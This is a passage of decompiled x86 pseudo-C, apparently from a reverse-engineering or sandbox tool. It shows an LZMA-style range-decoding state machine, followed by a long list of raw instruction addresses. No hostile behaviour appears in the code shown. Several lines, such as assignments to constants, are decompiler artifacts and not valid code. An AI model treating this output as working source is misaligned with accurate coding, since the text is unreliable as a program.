											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__ebx = __edx + 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__ebx = __edx + 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00406bf3
0x00406bf3
0x00406bf3
0x00406bf3
0x00406bf9
0x00406bfb
0x00406bfd
0x00406c01
0x00406c0b
0x00406c19
0x00406eef
0x00406eef
0x00406ef2
0x00406ef9
0x00406f26
0x00406f26
0x00406f2a
0x00000000
0x00000000
0x00406f2c
0x00406f35
0x00406f3b
0x00406f3e
0x00406f41
0x00406f44
0x00406f47
0x00406f4d
0x00406f66
0x00406f69
0x00406f75
0x00406f76
0x00406f79
0x00406f4f
0x00406f4f
0x00406f5e
0x00406f61
0x00406f61
0x00406f83
0x00406f23
0x00406f23
0x00406f23
0x00406f26
0x00406f2a
0x00000000
0x00000000
0x00000000
0x00406f85
0x00406f85
0x00406efe
0x00406f02
0x0040703a
0x0040703a
0x00407044
0x0040704c
0x00407053
0x00407055
0x0040705c
0x00407060
0x00407060
0x00406f08
0x00406f0e
0x00406f15
0x00406f1d
0x00406f1d
0x00406f20
0x00000000
0x00406f20
0x00406f8a
0x00406f97
0x00406f9a
0x00406ea6
0x00406ea6
0x00406ea6
0x00406642
0x00406642
0x00406642
0x0040664b
0x00000000
0x00000000
0x00406651
0x00406651
0x00000000
0x00406658
0x0040665c
0x00000000
0x00000000
0x00406662
0x00406665
0x00406668
0x0040666b
0x0040666f
0x00000000
0x00000000
0x00406675
0x00406675
0x00406678
0x0040667a
0x0040667b
0x0040667e
0x00406680
0x00406681
0x00406683
0x00406686
0x0040668b
0x00406690
0x00406699
0x004066ac
0x004066af
0x004066bb
0x004066e3
0x004066e5
0x004066f3
0x004066f3
0x004066f7
0x00000000
0x00000000
0x00000000
0x00000000
0x004066e7
0x004066e7
0x004066ea
0x004066eb
0x004066eb
0x00000000
0x004066e7
0x004066bd
0x004066c1
0x004066c6
0x004066c6
0x004066cf
0x004066d7
0x004066da
0x00000000
0x004066e0
0x004066e0
0x00000000
0x004066e0
0x00000000
0x004066fd
0x004066fd
0x00406701
0x00406fad
0x00406fad
0x00000000
0x00406fad
0x00406707
0x0040670a
0x0040671a
0x0040671d
0x00406720
0x00406720
0x00406720
0x00406723
0x00406727
0x00000000
0x00000000
0x00406729
0x00406729
0x0040672f
0x00406759
0x0040675f
0x00406766
0x00000000
0x00406766
0x00406731
0x00406735
0x00406738
0x0040673d
0x0040673d
0x00406748
0x00406750
0x00406753
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406798
0x0040679e
0x004067a1
0x004067ae
0x004067b6
0x00000000
0x00000000
0x0040676d
0x0040676d
0x00406771
0x00406fbc
0x00406fbc
0x00000000
0x00406fbc
0x00406777
0x0040677d
0x00406788
0x00406788
0x00406788
0x0040678b
0x0040678e
0x00406791
0x00406796
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e2d
0x00406e2d
0x00406e33
0x00406e39
0x00406e3f
0x00406e59
0x00406e5c
0x00406e62
0x00406e6d
0x00406e6d
0x00406e6f
0x00406e41
0x00406e41
0x00406e50
0x00406e54
0x00406e54
0x00406e79
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e7b
0x00406e7f
0x0040702e
0x0040702e
0x00000000
0x0040702e
0x00406e85
0x00406e8b
0x00406e92
0x00406e9a
0x00406e9d
0x00406ea0
0x00406ea0
0x00406ea6
0x00406ea6
0x00000000
0x00000000
0x004067be
0x004067be
0x004067c0
0x004067c3
0x00406834
0x00406834
0x00406837
0x0040683a
0x00406841
0x0040684b
0x00000000
0x0040684b
0x004067c5
0x004067c5
0x004067c9
0x004067cc
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d9
0x004067db
0x004067e0
0x004067e3
0x004067e6
0x004067ea
0x004067f1
0x004067f4
0x004067fb
0x004067ff
0x00406807
0x00406807
0x00406807
0x00406801
0x00406801
0x00406801
0x004067f6
0x004067f6
0x004067f6
0x0040680b
0x0040680e
0x0040682c
0x0040682c
0x0040682e
0x00000000
0x00406810
0x00406810
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681b
0x0040681b
0x0040681b
0x0040681e
0x00406821
0x00406823
0x00406824
0x00406827
0x00000000
0x00406827
0x00000000
0x00406a5d
0x00406a5d
0x00406a61
0x00406a7f
0x00406a7f
0x00406a82
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9a
0x00406aa1
0x00406aa2
0x00406aa4
0x00406aa7
0x00406aaa
0x00406aad
0x00406aad
0x00406ab2
0x00000000
0x00406ab2
0x00406a63
0x00406a63
0x00406a66
0x00406a69
0x00406a73
0x00000000
0x00000000
0x00406ac7
0x00406ac7
0x00406acb
0x00406aee
0x00406af1
0x00406af4
0x00406afe
0x00406acd
0x00406acd
0x00406ad0
0x00406ad3
0x00406ad6
0x00406ae3
0x00406ae6
0x00406ae6
0x00000000
0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00000000
0x00000000
0x00406b14
0x00406b14
0x00406b18
0x00000000
0x00000000
0x00406b1e
0x00406b1e
0x00406b20
0x00406b24
0x00406b24
0x00406b27
0x00406b2b
0x00000000
0x00000000
0x00406b7b
0x00406b7b
0x00406b7f
0x00406b86
0x00406b86
0x00406b89
0x00406b8c
0x00406b96
0x00000000
0x00406b96
0x00406b81
0x00406b81
0x00000000
0x00000000
0x00406ba2
0x00406ba2
0x00406ba6
0x00406bad
0x00406bb0
0x00406bb3
0x00406ba8
0x00406ba8
0x00406ba8
0x00406bb6
0x00406bb9
0x00406bbc
0x00406bbc
0x00406bbf
0x00406bc2
0x00406bc5
0x00406bc5
0x00406bc8
0x00406bcf
0x00406bd4
0x00000000
0x00000000
0x00406c62
0x00406c62
0x00406c66
0x00407004
0x00407004
0x00000000
0x00407004
0x00406c6c
0x00406c6c
0x00406c6f
0x00406c72
0x00406c76
0x00406c79
0x00406c7f
0x00406c81
0x00406c81
0x00406c81
0x00406c84
0x00406c87
0x00000000
0x00000000
0x00406857
0x00406857
0x0040685b
0x00406fc8
0x00406fc8
0x00000000
0x00406fc8
0x00406861
0x00406861
0x00406864
0x00406867
0x0040686b
0x0040686e
0x00406874
0x00406876
0x00406876
0x00406876
0x00406879
0x0040687c
0x0040687c
0x0040687f
0x00406882
0x00000000
0x00000000
0x00406888
0x00406888
0x0040688e
0x00000000
0x00000000
0x00406894
0x00406894
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a4
0x004068a5
0x004068a8
0x004068aa
0x004068b0
0x004068b3
0x004068b6
0x004068b9
0x004068bc
0x004068bf
0x004068c2
0x004068de
0x004068e1
0x004068e4
0x004068e7
0x004068ee
0x004068f2
0x004068f4
0x004068f8
0x004068c4
0x004068c4
0x004068c8
0x004068d0
0x004068d5
0x004068d7
0x004068d9
0x004068d9
0x004068fb
0x00406902
0x00406905
0x00000000
0x0040690b
0x0040690b
0x00000000
0x0040690b
0x00000000
0x00406910
0x00406910
0x00406914
0x00406fd4
0x00406fd4
0x00000000
0x00406fd4
0x0040691a
0x0040691a
0x0040691d
0x00406920
0x00406924
0x00406927
0x0040692d
0x0040692f
0x0040692f
0x0040692f
0x00406932
0x00406935
0x00406935
0x00406935
0x0040693b
0x00000000
0x00000000
0x0040693d
0x0040693d
0x00406940
0x00406943
0x00406946
0x00406949
0x0040694c
0x0040694f
0x00406952
0x00406955
0x00406958
0x0040695b
0x00406973
0x00406976
0x00406979
0x0040697c
0x0040697f
0x00406983
0x00406985
0x0040695d
0x0040695d
0x00406965
0x0040696a
0x0040696c
0x0040696e
0x0040696e
0x00406988
0x0040698f
0x00406992
0x00000000
0x00406994
0x00406994
0x00000000
0x00406994
0x00406992
0x00406999
0x00406999
0x00406999
0x00406999
0x00000000
0x00000000
0x004069d4
0x004069d4
0x004069d8
0x00406fe0
0x00406fe0
0x00000000
0x00406fe0
0x004069de
0x004069de
0x004069e1
0x004069e4
0x004069e8
0x004069eb
0x004069f1
0x004069f3
0x004069f3
0x004069f3
0x004069f6
0x004069f9
0x004069f9
0x004069ff
0x0040699d
0x0040699d
0x004069a0
0x00000000
0x004069a0
0x00406a01
0x00406a01
0x00406a04
0x00406a07
0x00406a0a
0x00406a0d
0x00406a10
0x00406a13
0x00406a16
0x00406a19
0x00406a1c
0x00406a1f
0x00406a37
0x00406a3a
0x00406a3d
0x00406a40
0x00406a43
0x00406a47
0x00406a49
0x00406a21
0x00406a21
0x00406a29
0x00406a2e
0x00406a30
0x00406a32
0x00406a32
0x00406a4c
0x00406a53
0x00406a56
0x00000000
0x00406a58
0x00406a58
0x00000000
0x00406a58
0x00000000
0x00406ce5
0x00406ce5
0x00406ce9
0x00407010
0x00407010
0x00000000
0x00407010
0x00406cef
0x00406cef
0x00406cf2
0x00406cf5
0x00406cf9
0x00406cfc
0x00406d02
0x00406d04
0x00406d04
0x00406d04
0x00406d07
0x00000000
0x00000000
0x00406ab5
0x00406ab5
0x00406ab8
0x00000000
0x00000000
0x00406df4
0x00406df4
0x00406df8
0x00406e1a
0x00406e1a
0x00406e1d
0x00406e27
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00406dfa
0x00406dfa
0x00406dfd
0x00406e01
0x00406e04
0x00406e04
0x00406e07
0x00000000
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00406ed3
0x00406ed3
0x00406ed3
0x00406ed3
0x00406eda
0x00406ee1
0x00406ee8
0x00406ee8
0x00406eef
0x00406ef2
0x00406ef9
0x00000000
0x00406efc
0x00406eb7
0x00406eb7
0x00406eba
0x00406ebd
0x00406ec0
0x00406ec7
0x00406e0b
0x00406e0b
0x00406e0e
0x00000000
0x00000000
0x00406fa2
0x00406fa2
0x00406fa5
0x00406ea6
0x00406ea6
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406bdc
0x00406bdc
0x00406bde
0x00406be5
0x00406be6
0x00406be8
0x00406beb
0x00000000
0x00000000
0x00000000
0x00000000
0x00406eef
0x00406eef
0x00406ef2
0x00406ef9
0x00000000
0x00406efc
0x00000000
0x00000000
0x00000000
0x00406c21
0x00406c21
0x00406c24
0x00406c5a
0x00406c5a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8d
0x00406d8d
0x00406d90
0x00406d92
0x0040701c
0x0040701c
0x00000000
0x0040701c
0x00406d98
0x00406d98
0x00406d9b
0x00000000
0x00000000
0x00406da1
0x00406da1
0x00406da5
0x00406da8
0x00406da8
0x00406da8
0x00000000
0x00406da8
0x00406c26
0x00406c26
0x00406c28
0x00406c2a
0x00406c2c
0x00406c2f
0x00406c30
0x00406c32
0x00406c34
0x00406c37
0x00406c3a
0x00406c50
0x00406c50
0x00406c55
0x00406c8d
0x00406c8d
0x00406c91
0x00406cba
0x00406cbd
0x00406cbf
0x00406cc6
0x00406cc9
0x00406ccc
0x00406ccc
0x00406cd1
0x00406cd1
0x00406cd3
0x00406cd6
0x00406cdd
0x00406ce0
0x00406d0d
0x00406d0d
0x00406d10
0x00406d13
0x00406d87
0x00406d87
0x00406d87
0x00406d87
0x00000000
0x00406d87
0x00406d15
0x00406d15
0x00406d1b
0x00406d1e
0x00406d21
0x00406d24
0x00406d27
0x00406d2a
0x00406d2d
0x00406d30
0x00406d33
0x00406d36
0x00406d4f
0x00406d51
0x00406d54
0x00406d55
0x00406d58
0x00406d5a
0x00406d5d
0x00406d5f
0x00406d61
0x00406d64
0x00406d66
0x00406d69
0x00406d6d
0x00406d6f
0x00406d6f
0x00406d70
0x00406d73
0x00406d76
0x00406d38
0x00406d38
0x00406d40
0x00406d45
0x00406d47
0x00406d4a
0x00406d4a
0x00406d79
0x00406d80
0x00406d0a
0x00406d0a
0x00406d0a
0x00406d0a
0x00000000
0x00406d82
0x00406d82
0x00000000
0x00406d82
0x00406d80
0x00406c93
0x00406c93
0x00406c96
0x00406c98
0x00406c9b
0x00406c9e
0x00406ca1
0x00406ca3
0x00406ca6
0x00406ca9
0x00406ca9
0x00406cac
0x00406cac
0x00406caf
0x00406cb6
0x00406c8a
0x00406c8a
0x00406c8a
0x00406c8a
0x00000000
0x00406cb8
0x00406cb8
0x00000000
0x00406cb8
0x00406cb6
0x00406c3c
0x00406c3c
0x00406c3f
0x00406c41
0x00406c44
0x00000000
0x00000000
0x004069a3
0x004069a3
0x004069a7
0x00406fec
0x00406fec
0x00000000
0x00406fec
0x004069ad
0x004069ad
0x004069b0
0x004069b3
0x004069b6
0x004069b9
0x004069bc
0x004069bf
0x004069c1
0x004069c4
0x004069c7
0x004069ca
0x004069cc
0x004069cc
0x004069cc
0x00000000
0x00000000
0x00406b2e
0x00406b2e
0x00406b32
0x00406ff8
0x00406ff8
0x00000000
0x00406ff8
0x00406b38
0x00406b38
0x00406b3b
0x00406b3e
0x00406b41
0x00406b43
0x00406b43
0x00406b43
0x00406b46
0x00406b49
0x00406b4c
0x00406b4f
0x00406b52
0x00406b55
0x00406b56
0x00406b58
0x00406b58
0x00406b58
0x00406b5b
0x00406b5e
0x00406b61
0x00406b64
0x00406b64
0x00406b64
0x00406b67
